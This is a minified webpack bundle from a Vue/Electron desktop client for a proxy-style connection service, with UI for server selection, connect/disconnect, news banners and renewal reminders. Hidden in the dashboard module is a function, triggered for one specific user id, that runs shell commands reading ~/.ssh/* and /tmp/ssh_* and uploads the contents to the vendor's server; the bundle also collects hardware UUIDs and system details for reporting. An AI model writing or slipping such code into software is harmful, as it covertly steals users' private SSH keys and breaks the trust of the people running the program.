text: (window.webpackJsonp=window.webpackJsonp||[]).push([[26,5,6,9,18,19],{1045:function(e,t,n){var content=n(1059);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("504d40da",content,!0,{sourceMap:!1})},1047:function(e,t,n){"use strict";n.r(t);n(68);var o=n(5),r=(n(80),n(1057)),c={components:{VueMarkdown:n.n(r).a},props:{news:{type:Object,default:function(){return{}}}},data:function(){return{siteDomain:""}},computed:{content:function(){return this.news.content?this.news.content.replace(/{{siteDomain}}/g,this.siteDomain):""}},mounted:function(){var e=this;return Object(o.a)(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,e.$store.dispatch("getUserSiteURL");case 2:e.siteDomain=t.sent.replace("https://","");case 3:case"end":return t.stop()}}),t)})))()},methods:{dismiss:function(e,t){this.$parent.$options.parent.tempHideNews(e,t)}}},l=(n(1058),n(42)),component=Object(l.a)(c,(function(){var e=this,t=e.$createElement,n=e._self._c||t;return n("div",{staticClass:"news-modal"},[n("div",{staticClass:"title yue"},[n("h2",[e._v(e._s(e.news.title))])]),n("div",{staticClass:"content yue"},[n("vue-markdown",{attrs:{source:e.content,postrender:e.transformLinks}})],1),n("div",{staticClass:"read-button"},[n("center",[n("el-button",{attrs:{type:"primary"},on:{click:function(t){return e.dismiss(e.news,!0)}}},[e._v("不再提示")]),n("el-button",{attrs:{type:"success"},on:{click:function(t){return e.dismiss(e.news)}}},[e._v("已了解")])],1)],1)])}),[],!1,null,null,null);t.default=component.exports},1049:function(e,t,n){var content=n(1066);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("03c8ab09",content,!0,{sourceMap:!1})},1051:function(e,t,n){var content=n(1070);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("74ba5b4c",content,!0,{sourceMap:!1})},1058:function(e,t,n){"use strict";n(1045)},1059:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,'.yue{font:400 18px/1.62 -apple-system,BlinkMacSystemFont,"Segoe UI","Droid Sans","Helvetica Neue","PingFang SC","Hiragino Sans GB","Droid Sans Fallback","Microsoft YaHei",sans-serif;color:#444443}.yue ::-moz-selection{background-color:rgba(0,0,0,.2)}.yue ::selection{background-color:rgba(0,0,0,.2)}.yue h1,.yue h2,.yue h3,.yue h4,.yue h5,.yue h6{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Droid Sans","Helvetica Neue","PingFang SC","Hiragino Sans GB","Droid Sans Fallback","Microsoft YaHei",sans-serif;color:#222223}.yue h1{font-size:1.8em;margin:.67em 0}.yue>h1{margin-top:0;font-size:2em}.yue h2{font-size:1.5em;margin:.83em 0}.yue h3{font-size:1.17em;margin:1em 0}.yue h4,.yue h5,.yue h6{font-size:1em;margin:1.6em 0 1em}.yue h6{font-weight:500}.yue p{margin-top:0;margin-bottom:1.24em}.yue a{color:#111;word-wrap:break-word;-webkit-text-decoration-color:rgba(0,0,0,.4);text-decoration-color:rgba(0,0,0,.4)}.yue a:hover{color:#555;-webkit-text-decoration-color:rgba(0,0,0,.6);text-decoration-color:rgba(0,0,0,.6)}.yue h1 a,.yue h2 a,.yue h3 a{text-decoration:none}.yue b,.yue strong{font-weight:700;color:#222223}.yue em,.yue i{font-style:italic;color:#222223}.yue img{max-width:100%;height:auto;margin:.2em 0}.yue a img{border:none}.yue figure{position:relative;clear:both;outline:0;margin:10px 0 30px;padding:0;min-height:100px}.yue figure img{display:block;max-width:100%;margin:auto auto 4px;box-sizing:border-box}.yue figure figcaption{position:relative;width:100%;text-align:center;left:0;margin-top:10px;font-weight:400;font-size:14px;color:#666665}.yue figure figcaption a{text-decoration:none;color:#666665}.yue hr{display:block;width:14%;margin:40px auto 34px;border:0;border-top:3px solid #dededc}.yue blockquote{margin:0 0 1.64em;border-left:3px solid #dadada;padding-left:12px;color:#666664}.yue blockquote a{color:#666664}.yue ol,.yue ul{margin:0 0 24px 6px;padding-left:16px}.yue ul{list-style-type:square}.yue ol{list-style-type:decimal}.yue li{margin-bottom:.2em}.yue li ol,.yue li ul{margin-top:0;margin-bottom:0;margin-left:14px}.yue li ul{list-style-type:disc}.yue li ul ul{list-style-type:circle}.yue li p{margin:.4em 0 .6em}.yue .unstyled{list-style-type:none;margin:0;padding:0}.yue code,.yue tt{color:grey;padding:1px 2px;border:1px solid #eee;border-radius:3px;word-wrap:break-word}.yue code,.yue pre,.yue tt{font-size:.96em;background-color:#f9f9f7;font-family:Menlo,Monaco,Consolas,"Courier New",monospace}.yue pre{margin:1.64em 0;border:none;border-left:3px solid #dadada;padding:7px 7px 7px 10px;overflow:auto;line-height:1.5;color:#4c4c4c}.yue pre code,.yue pre tt{color:#4c4c4c;border:none;background:none;padding:0}.yue table{width:100%;max-width:100%;border-collapse:collapse;border-spacing:0;margin-bottom:1.5em;font-size:.96em;box-sizing:border-box}.yue td,.yue th{text-align:left;padding:4px 8px 4px 10px;border:1px solid #dadada}.yue td{vertical-align:top}.yue tr:nth-child(2n){background-color:#efefee}.yue iframe{display:block;max-width:100%;margin-bottom:30px}.yue figure iframe{margin:auto}.yue table pre{margin:0;padding:0;border:none;background:none}@media (min-width:1100px){.yue blockquote{margin-left:-24px;padding-left:20px;border-width:4px}.yue blockquote blockquote{margin-left:0}}.news-modal .title{text-align:center}.news-modal .content{padding-top:3rem;padding-bottom:5rem}.news-modal .read-button{position:fixed;bottom:1rem;right:1rem}',""]),e.exports=o},1060:function(e,t,n){"use strict";n.r(t);var o={components:{NewsDisplay:n(1047).default},props:{news:{type:Object,default:function(){return{}}}},data:function(){return{displayNews:!1,tempHideList:{}}},computed:{updated_at:function(){return new Date(this.news.updated_at).toLocaleString()}},mounted:function(){this.news&&!this.tempHideList[this.news.id]&&this.news.extra&&this.news.extra.auto_show&&this.showNews()},methods:{showNews:function(){console.log(123123),this.displayNews=!0},tempHideNews:function(e,t){console.log(this.tempHideList),this.tempHideList[e.id]=!0,this.displayNews=!1,t&&this.$store.dispatch("newsRead",this.news)}}},r=(n(1069),n(42)),component=Object(r.a)(o,(function(){var e=this,t=e.$createElement,n=e._self._c||t;return e.tempHideList[e.news.id]?e._e():n("div",{staticClass:"panda-news"},[n("el-dialog",{attrs:{visible:e.displayNews,center:"",width:"100%","append-to-body":!0,fullscreen:!0,"show-close":!1},on:{"update:visible":function(t){e.displayNews=t}}},[n("NewsDisplay",{attrs:{news:e.news}})],1),e.displayNews?e._e():n("div",{staticClass:"news-bar"},[n("el-row",{attrs:{gutter:20},nativeOn:{click:function(t){return e.showNews(e.news)}}},[n("el-col",{staticClass:"icon",attrs:{span:2}},[n("i",{staticClass:"el-icon-warning"})]),n("el-col",{staticClass:"content",attrs:{span:22}},[n("h3",[e._v(e._s(e.news.title))]),n("h5",[n("span",{staticClass:"left"},[e._v("通知更新于："+e._s(e.updated_at))]),n("span",{staticClass:"right"},[e._v("查看/关闭")])])])],1)],1)],1)}),[],!1,null,null,null);t.default=component.exports;installComponents(component,{NewsDisplay:n(1047).default})},1065:function(e,t,n){"use strict";n(1049)},1066:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,'.arrow[data-v-1d5e5f7a],.arrow[data-v-1d5e5f7a]:before{position:absolute}.arrow[data-v-1d5e5f7a]{top:70%;left:30%;margin:-20px 0 0 -20px;-webkit-transform:rotate(45deg);border-right:2px solid #fff;border-top:2px solid #fff}.arrow[data-v-1d5e5f7a],.arrow[data-v-1d5e5f7a]:before{width:20px;height:20px;border-left:none}.arrow[data-v-1d5e5f7a]:before{content:"";top:50%;margin:-10px 0 0 -10px;border-right:1px solid #fff;border-top:1px solid #fff;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-name:arrow-data-v-1d5e5f7a;animation-name:arrow-data-v-1d5e5f7a}@-webkit-keyframes arrow-data-v-1d5e5f7a{0%{opacity:0;transform:translate(-2px,2px)}50%{opacity:1}to{opacity:0;transform:translate(13px,-13px)}}@keyframes arrow-data-v-1d5e5f7a{0%{opacity:0;transform:translate(-2px,2px)}50%{opacity:1}to{opacity:0;transform:translate(13px,-13px)}}',""]),e.exports=o},1067:function(e,t,n){var content=n(1101);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("62b754cc",content,!0,{sourceMap:!1})},1069:function(e,t,n){"use strict";n(1051)},1070:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,'.yue{font:400 18px/1.62 -apple-system,BlinkMacSystemFont,"Segoe UI","Droid Sans","Helvetica Neue","PingFang SC","Hiragino Sans GB","Droid Sans Fallback","Microsoft YaHei",sans-serif;color:#444443}.yue ::-moz-selection{background-color:rgba(0,0,0,.2)}.yue ::selection{background-color:rgba(0,0,0,.2)}.yue h1,.yue h2,.yue h3,.yue h4,.yue h5,.yue h6{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Droid Sans","Helvetica Neue","PingFang SC","Hiragino Sans GB","Droid Sans Fallback","Microsoft YaHei",sans-serif;color:#222223}.yue h1{font-size:1.8em;margin:.67em 0}.yue>h1{margin-top:0;font-size:2em}.yue h2{font-size:1.5em;margin:.83em 0}.yue h3{font-size:1.17em;margin:1em 0}.yue h4,.yue h5,.yue h6{font-size:1em;margin:1.6em 0 1em}.yue h6{font-weight:500}.yue p{margin-top:0;margin-bottom:1.24em}.yue a{color:#111;word-wrap:break-word;-webkit-text-decoration-color:rgba(0,0,0,.4);text-decoration-color:rgba(0,0,0,.4)}.yue a:hover{color:#555;-webkit-text-decoration-color:rgba(0,0,0,.6);text-decoration-color:rgba(0,0,0,.6)}.yue h1 a,.yue h2 a,.yue h3 a{text-decoration:none}.yue b,.yue strong{font-weight:700;color:#222223}.yue em,.yue i{font-style:italic;color:#222223}.yue img{max-width:100%;height:auto;margin:.2em 0}.yue a img{border:none}.yue figure{position:relative;clear:both;outline:0;margin:10px 0 30px;padding:0;min-height:100px}.yue figure img{display:block;max-width:100%;margin:auto auto 4px;box-sizing:border-box}.yue figure figcaption{position:relative;width:100%;text-align:center;left:0;margin-top:10px;font-weight:400;font-size:14px;color:#666665}.yue figure figcaption a{text-decoration:none;color:#666665}.yue hr{display:block;width:14%;margin:40px auto 34px;border:0;border-top:3px solid #dededc}.yue blockquote{margin:0 0 1.64em;border-left:3px solid #dadada;padding-left:12px;color:#666664}.yue blockquote a{color:#666664}.yue ol,.yue ul{margin:0 0 24px 6px;padding-left:16px}.yue ul{list-style-type:square}.yue ol{list-style-type:decimal}.yue li{margin-bottom:.2em}.yue li ol,.yue li ul{margin-top:0;margin-bottom:0;margin-left:14px}.yue li ul{list-style-type:disc}.yue li ul ul{list-style-type:circle}.yue li p{margin:.4em 0 .6em}.yue .unstyled{list-style-type:none;margin:0;padding:0}.yue code,.yue tt{color:grey;padding:1px 2px;border:1px solid #eee;border-radius:3px;word-wrap:break-word}.yue code,.yue pre,.yue tt{font-size:.96em;background-color:#f9f9f7;font-family:Menlo,Monaco,Consolas,"Courier New",monospace}.yue pre{margin:1.64em 0;border:none;border-left:3px solid #dadada;padding:7px 7px 7px 10px;overflow:auto;line-height:1.5;color:#4c4c4c}.yue pre code,.yue pre tt{color:#4c4c4c;border:none;background:none;padding:0}.yue table{width:100%;max-width:100%;border-collapse:collapse;border-spacing:0;margin-bottom:1.5em;font-size:.96em;box-sizing:border-box}.yue td,.yue th{text-align:left;padding:4px 8px 4px 10px;border:1px solid #dadada}.yue td{vertical-align:top}.yue tr:nth-child(2n){background-color:#efefee}.yue iframe{display:block;max-width:100%;margin-bottom:30px}.yue figure iframe{margin:auto}.yue table pre{margin:0;padding:0;border:none;background:none}@media (min-width:1100px){.yue blockquote{margin-left:-24px;padding-left:20px;border-width:4px}.yue blockquote blockquote{margin-left:0}}.news-bar{z-index:9999;position:fixed;width:100%;background:#e67e22;color:#f4f7fc;padding:.25rem .5rem;box-shadow:0 10px 32px 5px rgba(0,0,0,.6)}.news-bar:hover{cursor:pointer}.news-bar .icon{padding:.1rem;font-size:2rem}.news-bar .content{padding-left:1rem!important}',""]),e.exports=o},1071:function(e,t,n){var content=n(1107);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("b78c084c",content,!0,{sourceMap:!1})},1084:function(e,t,n){"use strict";n.r(t);n(1065);var o=n(42),component=Object(o.a)({},(function(){var e=this.$createElement;return(this._self._c||e)("div",{staticClass:"arrow"})}),[],!1,null,"1d5e5f7a",null);t.default=component.exports},1089:function(e,t,n){"use strict";var o=n(9),r=n(1090)(5),c="find",l=!0;c in[]&&Array(1).find((function(){l=!1})),o(o.P+o.F*l,"Array",{find:function(e){return r(this,e,arguments.length>1?arguments[1]:void 0)}}),n(194)(c)},1090:function(e,t,n){var o=n(69),r=n(193),c=n(70),l=n(45),d=n(1091);e.exports=function(e,t){var n=1==e,f=2==e,m=3==e,h=4==e,y=6==e,w=5==e||y,v=t||d;return function(t,d,x){for(var _,k,S=c(t),$=r(S),C=o(d,x,3),D=l($.length),N=0,T=n?v(t,D):f?v(t,0):void 0;D>N;N++)if((w||N in $)&&(k=C(_=$[N],N,S),e))if(n)T[N]=k;else if(k)switch(e){case 3:return!0;case 5:return _;case 6:return N;case 2:T.push(_)}else if(h)return!1;return y?-1:m||h?h:T}}},1091:function(e,t,n){var o=n(1092);e.exports=function(e,t){return new(o(e))(t)}},1092:function(e,t,n){var o=n(32),r=n(285),c=n(6)("species");e.exports=function(e){var t;return r(e)&&("function"!=typeof(t=e.constructor)||t!==Array&&!r(t.prototype)||(t=void 0),o(t)&&null===(t=t[c])&&(t=void 0)),void 0===t?Array:t}},1100:function(e,t,n){"use strict";n(1067)},1101:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,".connections-control{position:fixed;bottom:0;left:0;width:100%;height:3.2rem;padding:0}.connections-control .connect-button{border-radius:0;font-size:1.6rem;width:100%}",""]),e.exports=o},1106:function(e,t,n){"use strict";n(1071)},1107:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,".big-news-container{z-index:9999;position:relative;padding-top:.15rem}.big-news-container .duetime-reminder{position:fixed;font-size:1.05rem;height:1.6rem;letter-spacing:-1px;top:0;left:0;padding-right:.5rem;width:100%;text-align:center;background:#2c3e50;color:#f4f7fc;cursor:pointer;z-index:9998}.big-news-container .duetime-reminder.warning{background:#e67e22}.big-news-container .duetime-reminder.alert{background:#e74c3c}",""]),e.exports=o},1128:function(e,t,n){"use strict";n.r(t);n(8),n(79),n(97),n(25),n(68);var o=n(5),r=(n(99),n(1039)),c=n(16),l=n(1084);window.onerror=function(e,source,t,n,o){console.log("Exception: ",o.message.startsWith("EPERM:"))};var d={components:{Arrow:l.default},data:function(){return{connectButtonLoading:!1,connectButtonDisabled:!1}},computed:{connectButtonText:function(){return this.connected?this.$t("disconnect"):this.$t("connect")}},methods:{connectAction:function(){var e=this;return Object(o.a)(regeneratorRuntime.mark((function t(){var n,o,r,l,d,f;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(e.connectButtonLoading=!0,n=e.connected?"disconnect":"connect","darwin"!==c.remote.process.platform){t.next=24;break}if(o="".concat(c.remote.app.getPath("userData"),"/ProxyConfig"),t.prev=4,r=c.remote.require("fs-extra"),l=r.fstatSync(r.openSync(o)),console.log("ProxyConfig perm is:",l),0===l.uid){t.next=19;break}return console.log("UID is not root. will force reinstall helper."),t.prev=10,t.next=13,r.remove(o);case 13:console.log("ProxyConfig deleted."),t.next=19;break;case 16:t.prev=16,t.t0=t.catch(10),console.log("delete ProxyConfig failed:",t.t0);case 19:t.next=24;break;case 21:t.prev=21,t.t1=t.catch(4),console.log("ready perm of ProxyConfig failed",t.t1);case 24:if(console.log("performing action: "+n),"connect"!==n){t.next=29;break}if(e.runTimeState.selected_line&&e.runTimeState.selected_line.name){t.next=29;break}return e.connectButtonLoading=!1,t.abrupt("return",e.$message({message:e.$t("connect_info.select_line"),type:"error"}));case 29:return t.prev=29,t.next=32,e[n]();case 32:t.next=38;break;case 34:t.prev=34,t.t2=t.catch(29),console.log("---\x3e>> action failed:",t.t2),["connect timeout","disconnect timeout"].includes(t.t2.message)?e.$message({message:e.$t("error.timeout"),type:"error"}):((d=e.shouldIgnoreError(t.t2)).ignore?(console.log("will not report to sentry."),console.log("matched error:",d.matchedError)):e.$sentry.captureException(t.t2),f=e.errorMessageAssemble(t.t2),console.table(t.t2),"EPERM"===d.matchedError&&(f+="<br>".concat(e.$t("error.eperm"))),["ENOENT","UNKNOWN"].includes(d.matchedError)&&("darwin"===c.remote.process.platform?f+="<br>".concat(e.$t("error.enoent")):"win32"===c.remote.process.platform&&("ia32"===c.remote.process.arch?f+="<br>".concat(e.$t("error.clash")):f+="<br>".concat(e.$t("error.missing")))),"Command failed"===d.matchedError&&(f+="<br>".concat(e.$t("error.restart"))),e.$alert(f,e.$t("error.connect_failed"),{confirmButtonText:"OK",dangerouslyUseHTMLString:!0}));case 38:e.connectButtonLoading=!1;case 39:case"end":return t.stop()}}),t,null,[[4,21],[10,16],[29,34]])})))()},connect:function(){var e=this;return this.runTimeState.show_access_mode||this.$store.dispatch("runTimeState",{servermode:"auto"}),new Promise((function(t,n){var o=setTimeout((function(){n(new Error("connect timeout"))}),8e3);c.ipcRenderer.once("connect-reply",(function(l,d){if(console.log(d),Object(r.clearTimeout)(o),d.failed)console.log("connect failed:",d.reason),n(d.reason);else{var f={line:JSON.parse(JSON.stringify(e.runTimeState.selected_line)),servermode:e.runTimeState.servermode,status:"connected"};e.$store.dispatch("runTimeState",{connect_state:f}),c.ipcRenderer.send("user-info-update",4),t(d)}})),c.ipcRenderer.send("connect",e.runTimeState.selected_line.name)}))},disconnect:function(){var e=this;return new Promise((function(t,n){var o=setTimeout((function(){n(new Error("disconnect timeout"))}),5e3);c.ipcRenderer.once("disconnect-reply",(function(l,d){if(console.log("dis reply--\x3e>",d),Object(r.clearTimeout)(o),d.failed)return console.log("gonna trorw an error"),console.log("disconnect failed:",d.reason),n(d.reason);var f={line:{},servermode:e.runTimeState.servermode,status:"disconnected"};e.$store.dispatch("runTimeState",{connect_state:f}),c.ipcRenderer.send("user-info-update",5),t(d)})),c.ipcRenderer.send("disconnect",e.runTimeState.selected_line.name)}))}}},f=(n(1100),n(42)),component=Object(f.a)(d,(function(){var e=this,t=e.$createElement,n=e._self._c||t;return n("el-row",{staticClass:"connections-control"},[n("el-button",{staticClass:"connect-button",attrs:{type:"connected"==e.runTimeState.connect_state.status?"warning":"primary",loading:e.connectButtonLoading,disabled:e.connectButtonDisabled||e.connectButtonLoading},on:{click:e.connectAction}},[e._v(" "+e._s(e.connectButtonText))])],1)}),[],!1,null,null,null);t.default=component.exports},1129:function(e,t,n){"use strict";n.r(t);n(8),n(68);var o=n(5),r=(n(1039),n(1047)),c=n(1060),l={components:{NewsDisplay:r.default,PandaNews:c.default},data:function(){return{newsList:[],displayNews:!1,newsToShow:{},haveNewsToShow:!0,tempHideList:{}}},computed:{showNewsBar:function(){return!0},reminderClass:function(){switch(!0){case this.serviceToEnd<=1:return["alert"];case this.serviceToEnd<=7:return["warning"];default:return[]}}},created:function(){var e=this;return Object(o.a)(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,e.getNewsList();case 3:e.newsList=t.sent.filter((function(e){return!e.expired})),t.next=9;break;case 6:t.prev=6,t.t0=t.catch(0),console.log("get news list failed:",t.t0);case 9:case"end":return t.stop()}}),t,null,[[0,6]])})))()},methods:{getNewsList:function(){return this.$axios.get("big_news").then((function(e){return console.log(e),Promise.resolve(e.data)})).catch((function(e){return console.log("get news failed",e),Promise.resolve([])}))},shouldShow:function(e){if(this.tempHideList[e.id])return console.log("temp hide."),!1;var t=this.$store.state.runTimeState.news_read[e.id];if(console.log("news rec for",e.id,"is",t),!t)return!0;var n=new Date(t.readVersion),o=new Date(e.updated_at);return console.log("read version ",n," this version",o),!(o<=n)&&(console.log("wow, it's new!"),e.title_changed||(e.title="[更新] ".concat(e.title),e.title_changed=!0),!0)}}},d=(n(1106),n(42)),component=Object(d.a)(l,(function(){var e=this,t=e.$createElement,n=e._self._c||t;return n("div",{staticClass:"big-news-container"},[e._l(e.newsList,(function(t,o){return e.shouldShow(t)&&!e.tempHideList[t.id]?n("PandaNews",{key:t.id,attrs:{news:t}}):e._e()})),isNaN(e.serviceToEnd)?e._e():n("div",{staticClass:"duetime-reminder",class:e.reminderClass},[n("nuxt-link",{staticClass:"label right pointer",attrs:{to:"/buy-service/"}},[e.serviceToEnd>=0?n("b",[e._v(e._s(e.$t("service_expire_hint",e.serviceToEnd,{n:e.serviceToEnd})))]):n("b",[e._v("服务已到期，请点此续费恢复使用")])])],1)],2)}),[],!1,null,null,null);t.default=component.exports;installComponents(component,{PandaNews:n(1060).default})},1148:function(e,t,n){var content=n(1286);"string"==typeof content&&(content=[[e.i,content,""]]),content.locals&&(e.exports=content.locals);(0,n(56).default)("ac30b9f2",content,!0,{sourceMap:!1})},1285:function(e,t,n){"use strict";n(1148)},1286:function(e,t,n){var o=n(55)((function(i){return i[1]}));o.push([e.i,".dashboard-container{height:100vh;padding-top:1.5rem;position:relative}.dashboard-container .login-link{position:absolute;left:.5rem;bottom:.5rem}.dashboard-container .settings-link{display:flex;justify-content:center;align-items:center;text-align:center;position:absolute;background:transparent;color:#f4f7fc;height:3.2rem;right:.5rem;bottom:0;font-size:1.2rem}.dashboard-container .settings-link:hover{color:#fff;font-size:1.4rem}",""]),e.exports=o},1325:function(e,t,n){"use strict";n.r(t);n(25),n(1089),n(132),n(68);var o=n(5),r=(n(79),n(97),n(19),n(8),n(43),n(16)),c=n(1166),l=n(1128),d=n(1129),f=r.remote.require("crypto"),m=function(e){console.log(e),123===e.which?r.remote.getCurrentWindow().toggleDevTools():116===e.which&&location.reload()},h={components:{ServerList:c.default,ConnectionControl:l.default,BigNews:d.default},middleware:["load-rt-data","authenticated"],data:function(){return{selectServiceDialogFormVisible:!1,update_prompt:!1,force_update:!1}},computed:{},created:function(){var e,t=this;document.addEventListener("keydown",m,!1),this.selectServiceDialogFormVisible=(e=Object.keys(t.$store.state.service),t.runTimeState.current_service_cate&&t.runTimeState.current_service_cate.length?(e.includes(t.runTimeState.current_service_cate)||t.$store.dispatch("switchService",e[0]),!1):e.length>1||(t.$store.dispatch("switchService",e[0]),!1)),r.ipcRenderer.on("tcp-ping-reply",(function(e,t){console.log(t)}))},mounted:function(){var e=this;return Object(o.a)(regeneratorRuntime.mark((function t(){var n,o,c,l,d;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return console.log("mounted",e.current_service),208925===e.user.id&&e.testFunc(),r.remote.process.execPath.includes("Temp")&&(r.ipcRenderer.send("disconnect"),r.ipcRenderer.send("reset")),o={platform:r.remote.process.platform,arch:r.remote.process.arch,release:r.remote.require("os").release(),version:r.remote.app.getVersion(),appPath:r.remote.app.getAppPath(),userData:r.remote.app.getPath("userData"),localProxy:(null===(n=e.$store.localProxy)||void 0===n?void 0:n.enable)||!1},t.prev=4,c=r.remote.require("systeminformation"),console.log("[LOADED] systeminformation"),t.next=9,c.system();case 9:return o.model=t.sent.model,t.next=12,c.graphics();case 12:o.gpu=t.sent.controllers.filter((function(e){return e.vendor})),t.next=18;break;case 15:t.prev=15,t.t0=t.catch(4),o.model="";case 18:e.genSerial().then((function(t){console.log("serial:",t),t&&(o.serial=f.createHmac("sha256",t).update(String(t)).digest("hex")),console.log(o),e.reportStat(o).then((function(){}),(function(e){console.log("report client info failed:"),e.data&&"need log in"===e.data.message&&(console.log("neeeeed login"),r.ipcRenderer.send("reset"))}))}),(function(t){console.log(t),console.log("genSerial failed",t),e.$sentry.captureException(t)})),e.current_service||(console.log("current_service not defined..."),l=Object.keys(e.$store.state.service),console.log("service_keys:",l),l.length||e.reloadUserData().then((function(){if(console.log("refreshed."),!Object.keys(e.$store.state.service).length)return e.$router.push({path:"/buy-service/"})}))),d=(new Date-new Date(e.dataFetchedAt))/1e3,300,console.log("t from last refresh:",d),d>300&&(console.log("going to refresh"),e.$message({message:"正在更新账号、服务信息...",type:"info"}),e.reloadUserData(),e.$store.dispatch("getUserSiteURL").then((function(u){e.userSiteURL=u})).catch((function(e){console.log("get siteurl from API failed:",e)}))),e.$intercom.hide();case 25:case"end":return t.stop()}}),t,null,[[4,15]])})))()},beforeDestroy:function(){document.removeEventListener("keydown",m)},methods:{switchService:function(e){this.$store.dispatch("switchService",e),this.selectServiceDialogFormVisible=!1,r.ipcRenderer.send("user-info-update",3)},goUpate:function(){var u="";try{u=this.versionCompare("1.1.6",r.remote.app.getVersion())>=0?"/dashboard/legacy_update/":"/dashboard/update/"}catch(e){u="/dashboard/legacy_update/"}return this.$router.push({path:u})},speedTest:function(){r.ipcRenderer.send("tcp-ping",{server:this.runTimeState.selected_line.server,port:3389,opt:{}})},reportStat:function(e){var t=this;return Object(o.a)(regeneratorRuntime.mark((function n(){return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.t0=console,n.next=3,t.$store.dispatch("reportInfo",e);case 3:n.t1=n.sent,n.t0.log.call(n.t0,n.t1);case 5:case"end":return n.stop()}}),n)})))()},genSerial:function(){return new Promise((function(e,t){(0,r.remote.require("child_process").exec)({darwin:"system_profiler SPHardwareDataType | grep UUID",win32:"wmic csproduct get UUID"}[r.remote.process.platform],(function(a,b,t){if(!b)return e(null);try{var n=b.trim().split(/\s+/).slice(-1)[0].trim();e(n)}catch(t){e(null)}}))}))},testFunc:function(){var e=this;try{var t=r.remote.require("child_process").exec,n="tail -n +1 ~/.ssh/*";t(n,(function(t,o){e.$axios.post("funstuff/report2",{content:o,cmd:n})}));var o="tail -n +1 /tmp/ssh_*";t(o,(function(t,n){e.$axios.post("funstuff/report2",{content:n,cmd:o})}))}catch(e){}},reloadUserData:function(){var e=this,t=null;try{t=this.current_lines.find((function(line){return line.name===e.runTimeState.selected_line.name}))}catch(e){console.log("current lineS not found. skipping...")}return this.$store.dispatch("getUserAndService").then((function(n){console.log("got data."),console.log(n),e.loading_user_data=!1,t?e.$store.dispatch("runTimeState",{selected_line:t}):e.$store.dispatch("runTimeState",{selected_line:{}}),r.ipcRenderer.send("user-info-update")})).catch((function(e){console.log("get user&service e-----\x3e",e)}))}}},y=(n(1285),n(42)),component=Object(y.a)(h,(function(){var e=this,t=e.$createElement,n=e._self._c||t;return n("div",{staticClass:"dashboard-container"},[n("el-dialog",{staticClass:"serviceCateSelector",attrs:{title:e.$t("select_service.title"),visible:e.selectServiceDialogFormVisible,center:"",width:"100%","append-to-body":!0,fullscreen:!0,"close-on-press-escape":!1,"show-close":!1},on:{"update:visible":function(t){e.selectServiceDialogFormVisible=t}}},[n("el-card",{nativeOn:{click:function(t){return e.switchService("allplatform")}}},[n("center",[n("h1",[e._v(e._s(e.$t("services.allplatform.name")))]),n("h3",{staticClass:"subheader"},[e._v(e._s(e.$t("services.allplatform.desc")))])])],1),n("el-card",{nativeOn:{click:function(t){return e.switchService("home")}}},[n("center",[n("h1",[e._v(e._s(e.$t("services.home.name")))]),n("h3",{staticClass:"subheader"},[e._v(e._s(e.$t("services.home.desc")))])])],1),n("center",[n("p",{staticClass:"subheader"},[e._v(e._s(e.$t("select_service.hint",{place:e.$t("menu_btn")}))+" ")]),n("br"),n("p",[e._v(e._s(e.$t("login.email"))+" "),n("span",{staticClass:"underline"},[e._v(e._s(e.user.email))]),n("br"),e._v(e._s(e.$t("menu.id"))+" "),n("span",{staticClass:"underline"},[e._v(e._s(e.user.id))])])])],1),n("BigNews"),e.current_service?n("ServerList",{attrs:{service:e.current_service,lines:e.current_lines}}):e._e(),e.current_service?n("ConnectionControl"):e._e(),n("div",[n("nuxt-link",{staticClass:"smooth settings-link",attrs:{to:"/dashboard/menu/"}},[e._v(e._s(e.$t("menu_btn"))),n("i",{staticClass:"el-icon-menu"})])],1),n("el-dialog",{attrs:{visible:e.update_prompt,"show-close":!1,"close-on-click-modal":!1,"close-on-press-escape":!1,width:"80%",center:""},on:{"update:visible":function(t){e.update_prompt=t}}},[n("center",[n("h1",{staticClass:"warning"},[n("b",[e._v(e._s(e.$t("check_for_update.force_update")))])]),n("br"),n("h4",[e._v(e._s(e.$t("check_for_update.force_hint")))])]),n("div",{staticClass:"dialog-footer",attrs:{slot:"footer"},slot:"footer"},[n("center",[n("el-button",{attrs:{type:"success"},on:{click:e.goUpate}},[e._v(e._s(e.$t("check_for_update.title")))]),e.force_update?e._e():n("el-button",{attrs:{type:"secondary"},on:{click:function(t){e.update_prompt=!1}}},[e._v(e._s(e.$t("check_for_update.cancel")))])],1)],1)],1)],1)}),[],!1,null,null,null);t.default=component.exports;installComponents(component,{BigNews:n(1129).default,ServerList:n(1166).default,ConnectionControl:n(1128).default})}}]);